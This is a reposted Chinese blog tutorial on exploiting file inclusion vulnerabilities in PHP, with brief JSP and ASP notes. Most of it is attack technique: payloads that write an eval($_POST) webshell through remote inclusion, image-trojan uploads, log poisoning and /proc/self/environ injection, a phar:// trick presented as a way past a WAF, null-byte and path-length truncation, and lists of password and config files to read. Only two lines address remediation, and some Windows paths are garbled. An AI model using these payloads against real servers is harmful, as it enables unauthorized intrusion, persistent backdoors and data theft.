zoukankan      html  css  js  c++  java
  • 【文件包含技巧拓展】————5、文件包含漏洞(绕过姿势)

    文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。

    特殊姿势

    利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。

    利用过程

    新建shell.php代码内容:

    <?php
    include 'phar://test.rar/test.txt';
    ?>

    新建test.txt里的内容:

    <?php
    phpinfo();
    ?>

    压缩test.txt文件,可以重命名压缩文件为zip,phar,rar等格式,之后访问shell.php文件后,会出现phpinfo内容。

    亲测有效

    在实验环境下,在test目录下新建shell.php,test.txt,并将test.txt打包成test.zip。

    shell.php内容如下:

    test.txt内容如下:

    访问shell.php:

    参考:http://bbs.pediy.com/thread-216191.htm

    php文件包含漏洞

    PHP中的文件包含分为本地包含与远程包含,导致文件包含的函数如下:

    • include()
    • include_once()
    • require()
    • require_once()
    • fopen()
    • readfile()
      ……

    本地包含漏洞(LFI)

    新建一个phpinfo.txt,然后新建一个shell.php,写入:

    <?php
        Include("phpinfo.txt");
    ?>
    

    访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

    远程包含漏洞

    前提:需要开启allow_url_fopen,默认关闭。
    新建php.txt:

    <?php
       echo "hello world";
    ?>

    新建index.php:

    <?php
        Include($_GET['page']);
    ?>

    访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

    文件包含利用

    读取敏感信息

    如:http://www.xxx.com/index.php?page=/etc/passwd
    Windows:

    c:oot.ini
    c:windowssystems32inetsrvMetaBase.xml
    c:windows
    epairsam
    c:windowsphp.ini             php配置文件
    c:windowsmy.ini               mysql配置文件
    

    LINUX:

    /etc/passwd
    /usr/local/app/apache2/conf/http.conf
    /usr/local/app/php5/lib/php.ini              PHP相关设置
    /etc/httpd/conf/http.conf                    apache配置文件
    /etc/my.cnf                                  mysql配置文件

    远程包含shell

    test.txt文件,可以保存在远程服务器上,内容如下:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?>
    

    如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php内容为:

    	
    <?php   eval($_POST[nmask]);?>

    本地包含配合文件上传

    如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
    上传一个图片木马a.jpg,内容为:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

    访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

    本地包含配合apache日志拿shell

      apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

    利用/proc/self/environ进行包含

    如:http://www.test.com/view.php?page=../../../../proc/self/environ
    这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。

    利用php协议进行包含

    • data:  php5.2以后版本
    • php://input  需要开启allow_url_include

    poc:

    http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

    截断包含

    有些开发者为了防止本地包含漏洞,会编写一下代码:

    <?php
        Include  $_GET['page'].".php"
    ?>

    (一)00截断包含
    新建1.jpg:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

     这样的话比如上传一个1.jpg图片码,则访问http://www.xxx.com/1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/1.jpg%00

    (二)使用长目录截断

    ././././././././././././././etc/passwd
    或者
    ////////////////////////////etc/passwd
    或者
    ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
    

    在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

    文件包含漏洞修复

    开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
    关闭allow_url_include函数,防止远程文件包含。

    jsp文件包含漏洞

    include

    <%@ include file="head.jsp"%>
    <%@ include file="body.jsp"%>
    <%@ include file="tail.jsp"%>
    

    jsp:include

    <jsp:include page="head.jsp"/>
    <jsp:include page="body.jsp"/>   
    <jsp:include page="tail.jsp”/>

    采用JSTL

    <c:import url="http://thief.one/1.jsp">
    

    说明

    (1)include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。
    (2)采用前两种方式,只能包含当前web应用的界面,不过c:import可以包含容器之外的内容。

    asp文件包含漏洞

    asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:

    <!--#include file="1.asp" -->
    

    转自:https://thief.one/2017/04/10/2/

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    高级特性(4)- 数据库编程
    UVA Jin Ge Jin Qu hao 12563
    UVA 116 Unidirectional TSP
    HDU 2224 The shortest path
    poj 2677 Tour
    【算法学习】双调欧几里得旅行商问题(动态规划)
    南洋理工大学 ACM 在线评测系统 矩形嵌套
    UVA The Tower of Babylon
    uva A Spy in the Metro(洛谷 P2583 地铁间谍)
    洛谷 P1095 守望者的逃离
  • 原文地址:https://www.cnblogs.com/devi1/p/13486349.html
Copyright © 2011-2022 走看看